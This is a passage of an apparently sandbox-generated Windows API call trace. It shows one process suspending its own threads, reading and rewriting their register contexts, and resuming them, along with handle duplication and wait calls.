lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f950, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0144.134] ResumeThread (hThread=0x144) returned 0x1 [0144.134] CloseHandle (hObject=0x144) returned 1 [0144.134] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0144.259] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0144.369] SetEvent (hEvent=0xbc) returned 1 [0144.369] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0144.510] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x18c) returned 1 [0144.510] SuspendThread (hThread=0x18c) returned 0x0 [0144.510] GetThreadContext (in: hThread=0x18c, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f8b8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f89d8e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0144.627] SetThreadContext (hThread=0x18c, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f8b0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0144.631] ResumeThread (hThread=0x18c) returned 0x1 [0144.631] CloseHandle (hObject=0x18c) returned 1 [0144.631] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0144.743] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0144.853] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x144) returned 1 [0144.853] SuspendThread (hThread=0x144) returned 0x0 [0144.853] GetThreadContext (in: hThread=0x144, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f958, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f75da00, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0144.854] SetThreadContext (hThread=0x144, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f950, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, 